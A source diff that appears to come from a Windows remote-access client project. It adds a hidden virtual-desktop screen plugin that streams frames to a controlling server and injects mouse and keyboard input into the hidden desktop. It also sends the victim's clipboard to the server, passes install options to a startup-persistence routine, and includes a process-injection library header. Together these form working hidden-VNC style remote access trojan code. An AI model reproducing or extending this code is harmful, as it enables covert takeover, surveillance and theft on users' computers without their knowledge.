m_ScreenSpyObject = new CScreenHideSpy(32, compress);
}
} // namespace SimplePluginsScreenHide
+21
View File
@@ -0,0 +1,21 @@
#pragma once
#include "Manager.h"
#include "ScreenHideSpy.h"
#include "ScreenManagerBase.h"
namespace SimplePluginsScreenHide {
class CScreenHideManager : public CScreenManagerBase
{
public:
CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user=NULL);
virtual ~CScreenHideManager();
void OnUserCommand(PBYTE lpBuffer, ULONG nSize);
virtual VOID OnReceive(PBYTE lpBuffer, ULONG nSize);
virtual void InitScreenSpy();
};
} // namespace SimplePluginsScreenHide
+22
View File
@@ -0,0 +1,22 @@
#pragma once
#include "ScreenSpy.h"
namespace SimplePluginsScreenHide {
// 隐私屏幕捕获器。
//
// SimplePlugins 原版 CScreenHideSpy 基于其自带的旧 CScreenSpy/ScreenCapture 捕获链
// (jpeg + CaptureFrame/BMP_JPG/ScanChangedRect),已与 YAMA 重写后的编码器捕获层
// (ScreenCapture::GetNextScreenData + EncoderFactory)分叉,故此处改写为直接继承
// YAMA 的 ::CScreenSpy,仅把 vDesk=TRUE(虚拟桌面)传入基类,捕获/编码全部复用基类。
class CScreenHideSpy : public ::CScreenSpy
{
public:
CScreenHideSpy(int biBitCount = 32, int algo = ALGORITHM_DIFF)
: ::CScreenSpy((ULONG)biBitCount, (BYTE)algo, TRUE /* vDesk → m_bVirtualPaint */)
{
}
};
} // namespace SimplePluginsScreenHide
+642
View File
@@ -0,0 +1,642 @@
#pragma once
#include "Manager.h"
#include "ScreenCapture.h"
#include <Shlwapi.h>
#include <ShlObj.h>
#include <tchar.h>
class IOCPClient;
namespace SimplePluginsScreenHide {
class CScreenManagerBase : public CManager {
public: // 构造和析构
CScreenManagerBase(IOCPClient* ClientObject, int nBitDepth, void* user = NULL,
int token= TOKEN_BITMAPINFO) : CManager(ClientObject)
{
m_DlgToken = token;
g_hDesk = nullptr;
m_DesktopID = GetBotId();
m_ptrUser = user;
m_ScreenSpyObject = nullptr;
m_biBitCount = nBitDepth;
m_fps = 10;
m_bIsWorking = TRUE;
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
m_point = {};
m_lastPoint = {};
m_lmouseDown = FALSE;
m_hResMoveWindow = nullptr;
m_resMoveType = 0;
m_rmouseDown = FALSE;
m_rclickPoint = {};
m_rclickWnd = nullptr;
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::WorkThreadProc, this, 0, NULL);
m_hBlankThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::ControlThread, this, 0, NULL);
SetReady(TRUE);
}
virtual ~CScreenManagerBase() {
m_bIsWorking = FALSE;
WaitForSingleObject(m_hWorkThread, INFINITE);
WaitForSingleObject(m_hBlankThread, INFINITE);
CloseHandle(m_hWorkThread); m_hWorkThread = NULL;
CloseHandle(m_hBlankThread); m_hBlankThread = NULL;
SAFE_DELETE(m_ScreenSpyObject);
if (g_hDesk) {
auto b = CloseDesktop(g_hDesk);
g_hDesk = NULL;
Mprintf("关闭虚拟屏幕【%s】: %s\n", b ? "成功" : "失败", m_DesktopID.c_str());
}
}
public: // 非纯虚函数
virtual BOOL SendFirstScreen() {
ULONG len = 0;
auto data = m_ScreenSpyObject->GetFirstScreenData(&len);
if (nullptr == data) {
return FALSE;
}
return m_ClientObject->Send2Server((char*)data, 1 + len);
}
virtual bool IsMetricsChange() {
if ((m_oldwidth != ::GetSystemMetrics(SM_CXVIRTUALSCREEN)) || (m_oldheigh != ::GetSystemMetrics(SM_CYVIRTUALSCREEN))) {
if (m_oldwidth == 0 || m_oldheigh == 0) {
return false;
}
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
return true;
}
return false;
}
virtual void Loop_Screen() {
// 获取分辨率
int _cx = ::GetSystemMetrics(SM_CXSCREEN);
int _cy = ::GetSystemMetrics(SM_CYSCREEN);
// 修改分辨率
DEVMODE lpDevMode;
lpDevMode.dmBitsPerPel = 32;//每个像素的位数
lpDevMode.dmPelsWidth = 1600;//屏幕宽度(像素)
lpDevMode.dmPelsHeight = 900;//屏幕高度(像素)
lpDevMode.dmSize = sizeof(lpDevMode);
lpDevMode.dmFields =DM_PELSWIDTH| DM_PELSHEIGHT| DM_BITSPERPEL;
LONG result = ChangeDisplaySettings(&lpDevMode, 0);
if (result == DISP_CHANGE_SUCCESSFUL) {
ChangeDisplaySettings(&lpDevMode, CDS_UPDATEREGISTRY);
}
else {
ChangeDisplaySettings(NULL, 0);
}
}
virtual bool IsConnect() { return m_ClientObject->IsRunning(); }
virtual int GetCurrentPixelBits() { return m_biBitCount; }
virtual LPBYTE GetNextScreen(ULONG& ulNextSendLength) {
return m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
}
virtual VOID SendNextScreen(LPBYTE szBuffer, ULONG ulNextSendLength) {
m_ClientObject->Send2Server((char*)szBuffer, ulNextSendLength);
}
virtual void ResetScreen(int biBitCount = 32) {
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread);
SAFE_DELETE(m_ScreenSpyObject);
m_biBitCount = biBitCount;
m_bIsWorking = TRUE;
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
}
virtual VOID UpdateClientClipboard(char* szBuffer, ULONG ulLength) {
if (!OpenClipboard(NULL))
return;
EmptyClipboard();
HGLOBAL hGlobal = (HGLOBAL)GlobalAlloc(GMEM_DDESHARE, ulLength);
if (hGlobal != NULL) {
LPTSTR szClipboardVirtualAddress = (LPTSTR)GlobalLock(hGlobal);
if (szClipboardVirtualAddress)
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
GlobalUnlock(hGlobal);
if (NULL == SetClipboardData(CF_TEXT, hGlobal))
GlobalFree(hGlobal);
}
CloseClipboard();
}
virtual VOID SendClientClipboard() {
if (!OpenClipboard(NULL)) //打开剪切板设备
return;
HGLOBAL hGlobal = (HGLOBAL)GetClipboardData(CF_TEXT); //代表着一个内存
if (hGlobal == NULL) {
CloseClipboard();
return;
}
int iPacketLength = GlobalSize(hGlobal) + 1;
char* szClipboardVirtualAddress = (LPSTR)GlobalLock(hGlobal); //锁定
LPBYTE szBuffer = new BYTE[iPacketLength];
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
GlobalUnlock(hGlobal);
CloseClipboard();
m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
delete[] szBuffer;
}
virtual DWORD WorkProcess() {
CScreenManagerBase* This = this;
This->InitScreenSpy();
This->SendBitMapInfo();
if (This->m_bIsWorking)
This->WaitForDialogOpen();
This->SendScreenSize();
clock_t last = clock();
if (!This->SendFirstScreen()) {
Mprintf("Send first screen failed!!!\n");
return 0x20250224;
}
Mprintf("Succeed sending bmpInfo and first screen\n");
float fps = This->m_fps;
const int sleep = 1000 / fps;// 间隔时间(ms)
int c1 = 0; // 连续耗时长的次数
int c2 = 0; // 连续耗时短的次数
int s0 = sleep; // 两帧之间隔(ms)
const int frames = fps; // 每秒调整屏幕发送速度
const double alpha = 1.1; // 控制fps的因子
timeBeginPeriod(1);
while (This->m_bIsWorking) {
ULONG ulNextSendLength = 0;
LPBYTE szBuffer = This->GetNextScreen(ulNextSendLength);
if (NULL == szBuffer) {
continue;
}
int span = s0 - (clock() - last);
Sleep(span > 0 ? span : 1);
if (span < 0) { // 发送数据耗时较长,网络较差或数据较多
c2 = 0;
if (frames == ++c1) { // 连续一定次数耗时长
s0 = (s0 <= 500) ? s0 * alpha : s0;
c1 = 0;
#ifdef _DEBUG
if (s0 > 40)
Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
#endif
}
}
else if (span > 0) { // 发送数据耗时比s0短,表示网络较好或数据包较小
c1 = 0;
if (frames == ++c2) { // 连续一定次数耗时短
s0 = (s0 >= 40) ? s0 / alpha : s0;
c2 = 0;
#ifdef _DEBUG
if (s0 > 40)
Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
#endif
}
}
last = clock();
This->SendNextScreen(szBuffer, ulNextSendLength);
}
timeEndPeriod(1);
Mprintf("ScreenWorkThread Exit\n");
return 0;
}
virtual DWORD ControlProcess() {
CScreenManagerBase* pThis = this;
pThis->WaitForDialogOpen();
while (pThis->IsConnect() && pThis->m_bIsWorking) {
// 分辨率大小改变了
if (pThis->IsMetricsChange() && pThis->m_bIsWorking) {
pThis->ResetScreen(pThis->GetCurrentPixelBits());
Sleep(2000);
}
Sleep(10);
}
return -1;
}
static DWORD WINAPI WorkThreadProc(LPVOID lParam) {
CScreenManagerBase* pThis = (CScreenManagerBase*)lParam;
return pThis->WorkProcess();
}
static DWORD WINAPI ControlThread(LPVOID lparam) {
CScreenManagerBase* pThis = (CScreenManagerBase*)lparam;
return pThis->ControlProcess();
}
std::wstring ConvertToWString(const std::string& multiByteStr) {
int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
if (len == 0) return L""; // 转换失败
std::wstring wideStr(len, L'\0');
MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
return wideStr;
}
std::string GetTitle(HWND hWnd) {
char title[256] = { 0 }; // 预留缓冲区(置零,避免无标题/无效窗口时读到未初始化内存)
GetWindowTextA(hWnd, title, sizeof(title));
return title;
}
virtual bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) {
bool bReturn = false;
try {
if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
return false;
TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);
std::wstring path = ConvertToWString(pszApplicationFilePath);
if (!PathIsExe(path.c_str()))
return false;
PathRemoveFileSpec(szDirectoryName);
STARTUPINFO sInfo = { 0 };
PROCESS_INFORMATION pInfo = { 0 };
sInfo.cb = sizeof(sInfo);
sInfo.lpDesktop = pszDesktopName;
//Launching a application into desktop
BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
NULL,
NULL,
NULL,
TRUE,
NORMAL_PRIORITY_CLASS,
NULL,
szDirectoryName,
&sInfo,
&pInfo);
CloseHandle(pInfo.hProcess);
CloseHandle(pInfo.hThread);
TCHAR* pszError = NULL;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
if (pszError) {
Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
LocalFree(pszError); // 释放内存
}
if (bCreateProcessReturn)
bReturn = true;
}
catch (...) {
bReturn = false;
}
return bReturn;
}
virtual VOID SendBitMapInfo() {
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
LPBYTE szBuffer = new BYTE[ulLength];
szBuffer[0] = m_DlgToken;
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
SAFE_DELETE_ARRAY(szBuffer);
}
virtual void SendScreenSize()
{
RECT rect = m_ScreenSpyObject->GetScreenRect();
BYTE lpBuffer[sizeof(RECT) + 1];
lpBuffer[0] = TOKEN_SCREEN_SIZE;
memcpy(lpBuffer + 1, &rect, sizeof(RECT));
Send(lpBuffer, sizeof(lpBuffer));
}
virtual VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength) {
int msgSize = sizeof(MYMSG);
if (ulLength % 28 == 0) // 32位控制端发过来的消息
msgSize = 28;
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
msgSize = 48;
else return; // 数据包不合法
ULONG ulMsgCount = ulLength / msgSize;
BYTE* ptr = szBuffer;
MSG32 msg32;
MSG64 msg64;
if (nullptr == g_hDesk) {
// 命令个数
// 处理多个命令
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
MYMSG* Msg = msgSize == 48 ? (MYMSG*)ptr :
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
switch (Msg->message) {
case WM_LBUTTONDOWN: case WM_LBUTTONUP:
case WM_RBUTTONDOWN: case WM_RBUTTONUP:
case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDBLCLK:
case WM_MBUTTONDOWN: case WM_MBUTTONUP:
case WM_MOUSEMOVE: {
POINT Point;
Point.x = LOWORD(Msg->lParam);
Point.y = HIWORD(Msg->lParam);
m_ScreenSpyObject->PointConversion(Point);
SetCursorPos(Point.x, Point.y);
SetCapture(WindowFromPoint(Point));
}
break;
default:
break;
}
switch (Msg->message) {
case WM_LBUTTONDOWN:
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
break;
case WM_LBUTTONUP:
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDOWN:
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
break;
case WM_RBUTTONUP:
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_LBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDOWN:
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
break;
case WM_MBUTTONUP:
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MOUSEWHEEL:
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
break;
case WM_KEYDOWN: case WM_SYSKEYDOWN:
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), 0, 0);
break;
case WM_KEYUP: case WM_SYSKEYUP:
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
break;
default:
break;
}
}
} else { // 虚拟桌面
HWND hWnd = NULL;
BOOL mouseMsg = FALSE;
POINT lastPointCopy = {};
SetThreadDesktop(g_hDesk);
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
switch (msg->message) {
case WM_KEYUP:
return;
case WM_CHAR:
case WM_KEYDOWN: {
m_point = m_lastPoint;
hWnd = WindowFromPoint(m_point);
break;
}
case WM_RBUTTONDOWN: {
// 记录右键按下时的坐标
m_rmouseDown = TRUE;
m_rclickPoint = msg->pt;
break;
}
case WM_RBUTTONUP: {
m_rmouseDown = FALSE;
m_rclickWnd = WindowFromPoint(m_rclickPoint);
// 检查是否为系统菜单(如任务栏)
char szClass[256] = { 0 };
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(m_rclickWnd).c_str(), m_rclickWnd);
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
// 触发系统级右键菜单(任务栏)
PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
}
else {
// 普通窗口的右键菜单
if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
// 附加:模拟键盘按下Shift+F10(备用菜单触发方式)
keybd_event(VK_SHIFT, 0, 0, 0);
keybd_event(VK_F10, 0, 0, 0);
keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
}
}
break;
}
default:
{
mouseMsg = TRUE;
m_point = msg->pt;
hWnd = WindowFromPoint(m_point);
lastPointCopy = m_lastPoint;
m_lastPoint = m_point;
if (msg->message == WM_LBUTTONUP) {
if (m_rclickWnd && hWnd != m_rclickWnd)
{
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
m_rclickWnd = nullptr;
}
m_lmouseDown = FALSE;
LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
switch (lResult) {
case HTTRANSPARENT: {
SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
break;
}
case HTCLOSE: {// 关闭窗口
PostMessageA(hWnd, WM_CLOSE, 0, 0);
Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMINBUTTON: {// 最小化
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMAXBUTTON: {// 最大化
WINDOWPLACEMENT windowPlacement;
windowPlacement.length = sizeof(windowPlacement);
GetWindowPlacement(hWnd, &windowPlacement);
if (windowPlacement.flags & SW_SHOWMAXIMIZED)
PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
else
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
}
}
else if (msg->message == WM_LBUTTONDOWN) {
m_lmouseDown = TRUE;
m_hResMoveWindow = NULL;
RECT startButtonRect;
HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
GetWindowRect(hStartButton, &startButtonRect);
if (PtInRect(&startButtonRect, m_point)) {
PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击
continue;
}
else {
char windowClass[MAX_PATH] = { 0 };
RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
if (!lstrcmpA(windowClass, "#32768")) {
HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
int itemId = GetMenuItemID(hMenu, itemPos);
PostMessageA(hWnd, 0x1e5, itemPos, 0);
PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
continue;
}
}
}
else if (msg->message == WM_MOUSEMOVE) {
if (!m_lmouseDown)
continue;
if (!m_hResMoveWindow)
m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
else
hWnd = m_hResMoveWindow;
int moveX = lastPointCopy.x - m_point.x;
int moveY = lastPointCopy.y - m_point.y;
RECT rect;
GetWindowRect(hWnd, &rect);
int x = rect.left;
int y = rect.top;
int width = rect.right - rect.left;
int height = rect.bottom - rect.top;
switch (m_resMoveType) {
case HTCAPTION: {
x -= moveX;
y -= moveY;
break;
}
case HTTOP: {
y -= moveY;
height += moveY;
break;
}
case HTBOTTOM: {
height -= moveY;
break;
}
case HTLEFT: {
x -= moveX;
width += moveX;
break;
}
case HTRIGHT: {
width -= moveX;
break;
}
case HTTOPLEFT: {
y -= moveY;
height += moveY;
x -= moveX;
width += moveX;
break;
}
case HTTOPRIGHT: {
y -= moveY;
height += moveY;
width -= moveX;
break;
}
case HTBOTTOMLEFT: {
height -= moveY;
x -= moveX;
width += moveX;
break;
}
case HTBOTTOMRIGHT: {
height -= moveY;
width -= moveX;
break;
}
default:
continue;
}
MoveWindow(hWnd, x, y, width, height, FALSE);
m_hResMoveWindow = hWnd;
continue;
}
break;
}
}
for (HWND currHwnd = hWnd;;) {
hWnd = currHwnd;
ScreenToClient(currHwnd, &m_point);
currHwnd = ChildWindowFromPoint(currHwnd, m_point);
if (!currHwnd || currHwnd == hWnd)
break;
}
if (mouseMsg)
msg->lParam = MAKELPARAM(m_point.x, m_point.y);
PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
}
}
}
public: // 纯虚函数
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) = 0;
virtual void InitScreenSpy() = 0;
HDESK g_hDesk;
std::string m_DesktopID;
void* m_ptrUser;
ScreenCapture* m_ScreenSpyObject;
BOOL m_bIsWorking;
long m_oldwidth, m_oldheigh;
int m_biBitCount;
int m_fps;
int m_DlgToken; // 这个值决定打开哪个对话框
HANDLE m_hWorkThread, m_hBlankThread;
// 虚拟桌面
POINT m_point;
POINT m_lastPoint;
BOOL m_lmouseDown;
HWND m_hResMoveWindow;
LRESULT m_resMoveType;
BOOL m_rmouseDown; // 标记右键是否按下
POINT m_rclickPoint; // 右键点击坐标
HWND m_rclickWnd; // 右键窗口
};
} // namespace SimplePluginsScreenHide
+9 -4
View File
@@ -320,10 +320,11 @@ int main(int argc, const char *argv[])
int r = RegisterStartup(
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
lockFile, g_ConnectAddress.iStartup == Startup_TestRunSystem ? 2 :g_ConnectAddress.runasAdmin, Logf);
lockFile, g_ConnectAddress.iStartup == Startup_TestRunSystem ? 2 :g_ConnectAddress.runasAdmin, Logf, g_ConnectAddress.installFlag);
if (r <= 0) {
if (g_ConnectAddress.iStartup == Startup_DLL) {
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo");
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
g_ConnectAddress.installFlag);
if (!folder) {
return -1;
}
@@ -495,8 +496,12 @@ BOOL Run(const char* argv1, int argv2, const std::string &runCmd)
}
do {
run(ip, port);
while (bStop && !bStop() && 0 == status)
Sleep(20);
if (bExit && bExit() != S_SERVER_EXIT) {
// 受控端退出 / 程序更新:等所有实例(含分享实例)退干净,避免下方 FreeLibrary
// 卸载 DLL 时残留分享实例线程。主控端重启(S_SERVER_EXIT)则立即重连,不等仍存活的分享实例。
while (bStop && !bStop() && 0 == status)
Sleep(20);
}
} while (bExit && !bExit() && 0 == status);
while (bStop && !bStop() && 1 == status)
+915
View File
@@ -0,0 +1,915 @@
/*
yapi -- Yet Another Process Injector / Your API
A fusion library that reduce differences between x64, wow64 and x86 processes based on rewolf-wow64ext.
Copyright (c) 2010-2018 <http://ez8.co> <orca.zhang@yahoo.com>
This library is released under the MIT License.
Please see LICENSE file or visit https://github.com/ez8-co/yapi for details.
*/
#pragma once
#define WIN32_NO_STATUS
#include <windows.h>
#include <winternl.h>
#include <tchar.h>
#include <vector>
#include <string>
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#include <TlHelp32.h>
namespace detail {
static HMODULE hNtDll = LoadLibrary(_T("ntdll.dll"));
static HANDLE hCurProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
inline BOOL Is64BitOS()
{
SYSTEM_INFO systemInfo = { 0 };
GetNativeSystemInfo(&systemInfo);
return systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64
|| systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64;
}
static const BOOL is64BitOS = Is64BitOS();
struct GCBase
{
virtual DWORD64 toDWORD64() = 0;
virtual void gc() = 0;
};
struct GCHelper
{
~GCHelper() {
for (size_t i = 0; i < _ptrs.size(); i++) {
_ptrs[i]->gc();
delete _ptrs[i];
}
}
DWORD64 add(GCBase* ptr) { _ptrs.push_back(ptr); return ptr->toDWORD64(); }
private:
std::vector<GCBase*> _ptrs;
};
}
namespace yapi {
typedef std::basic_string<TCHAR, std::char_traits<TCHAR>, std::allocator<TCHAR> > tstring;
#ifndef UNICODE
static std::string _W2T(const wchar_t* wcs)
{
int len = ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, NULL, 0, 0, 0);
std::string ret(len, 0);
assert(0 != ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, &ret[0], len, 0, 0));
ret.resize(len - 1);
return ret;
}
#else
#define _W2T(str) std::wstring(str)
#endif
#define REPEAT_0(macro)
#define REPEAT_1(macro) REPEAT_0(macro)
#define REPEAT_2(macro) REPEAT_1(macro) macro(1)
#define REPEAT_3(macro) REPEAT_2(macro) macro(2)
#define REPEAT_4(macro) REPEAT_3(macro) macro(3)
#define REPEAT_5(macro) REPEAT_4(macro) macro(4)
#define REPEAT_6(macro) REPEAT_5(macro) macro(5)
#define REPEAT_7(macro) REPEAT_6(macro) macro(6)
#define REPEAT_8(macro) REPEAT_7(macro) macro(7)
#define REPEAT_9(macro) REPEAT_8(macro) macro(8)
#define REPEAT_10(macro) REPEAT_9(macro) macro(9)
#define REPEAT_11(macro) REPEAT_10(macro) macro(10)
#define REPEAT_12(macro) REPEAT_11(macro) macro(11)
#define REPEAT_13(macro) REPEAT_12(macro) macro(12)
#define REPEAT_14(macro) REPEAT_13(macro) macro(13)
#define REPEAT_15(macro) REPEAT_14(macro) macro(14)
#define REPEAT_16(macro) REPEAT_15(macro) macro(15)
#define REPEAT_17(macro) REPEAT_16(macro) macro(16)
#define REPEAT_18(macro) REPEAT_17(macro) macro(17)
#define REPEAT_19(macro) REPEAT_18(macro) macro(18)
#define REPEAT_20(macro) REPEAT_19(macro) macro(19)
#define END_MACRO_0(macro)
#define END_MACRO_1(macro) macro(1)
#define END_MACRO_2(macro) macro(2)
#define END_MACRO_3(macro) macro(3)
#define END_MACRO_4(macro) macro(4)
#define END_MACRO_5(macro) macro(5)
#define END_MACRO_6(macro) macro(6)
#define END_MACRO_7(macro) macro(7)
#define END_MACRO_8(macro) macro(8)
#define END_MACRO_9(macro) macro(9)
#define END_MACRO_10(macro) macro(10)
#define END_MACRO_11(macro) macro(11)
#define END_MACRO_12(macro) macro(12)
#define END_MACRO_13(macro) macro(13)
#define END_MACRO_14(macro) macro(14)
#define END_MACRO_15(macro) macro(15)
#define END_MACRO_16(macro) macro(16)
#define END_MACRO_17(macro) macro(17)
#define END_MACRO_18(macro) macro(18)
#define END_MACRO_19(macro) macro(19)
#define END_MACRO_20(macro) macro(20)
#define REPEAT(n, macro, end_macro) REPEAT_##n (macro) END_MACRO_##n(end_macro)
#define __ARG(n) P ## n
#define __PARAM(n) p ## n
#define __ARG_DECL(n) __ARG(n) __PARAM(n)
#define TEMPLATE_ARG(n) typename __ARG(n)
#define VOID_TEMPLATE_ARGS(n) typename __ARG(n),
#define ARG_DECL(n) __ARG_DECL(n) ,
#define END_ARG_DECL(n) __ARG_DECL(n)
#define DECL_VOID_TEMPLATE_ARGS(n) REPEAT(n, VOID_TEMPLATE_ARGS, TEMPLATE_ARG)
#define DECL_PARAMS_LIST(n) REPEAT(n, ARG_DECL, END_ARG_DECL)
namespace {
template <class T>
struct _UNICODE_STRING_T {
union {
struct {
WORD Length;
WORD MaximumLength;
};
T dummy;
};
T Buffer;
};
template <typename T>
struct _LIST_ENTRY_T {
T Flink;
T Blink;
};
template <typename T>
struct _PEB_T {
T dummy01;
T Mutant;
T ImageBaseAddress;
T Ldr;
// omit unused fields
};
typedef _PEB_T<DWORD> PEB32;
typedef _PEB_T<DWORD64> PEB64;
typedef struct _PROCESS_BASIC_INFORMATION32 {
NTSTATUS ExitStatus;
UINT32 PebBaseAddress;
UINT32 AffinityMask;
UINT32 BasePriority;
UINT32 UniqueProcessId;
UINT32 InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION32;
typedef struct _PROCESS_BASIC_INFORMATION64 {
NTSTATUS ExitStatus;
UINT32 Reserved0;
UINT64 PebBaseAddress;
UINT64 AffinityMask;
UINT32 BasePriority;
UINT32 Reserved1;
UINT64 UniqueProcessId;
UINT64 InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION64;
template <class T>
struct _PEB_LDR_DATA_T {
DWORD Length;
DWORD Initialized;
T SsHandle;
_LIST_ENTRY_T<T> InLoadOrderModuleList;
// omit unused fields
};
typedef _PEB_LDR_DATA_T<DWORD> PEB_LDR_DATA32;
typedef _PEB_LDR_DATA_T<DWORD64> PEB_LDR_DATA64;
template <class T>
struct _LDR_DATA_TABLE_ENTRY_T {
_LIST_ENTRY_T<T> InLoadOrderLinks;
_LIST_ENTRY_T<T> InMemoryOrderLinks;
_LIST_ENTRY_T<T> InInitializationOrderLinks;
T DllBase;
T EntryPoint;
union {
DWORD SizeOfImage;
T dummy01;
};
_UNICODE_STRING_T<T> FullDllName;
_UNICODE_STRING_T<T> BaseDllName;
// omit unused fields
};
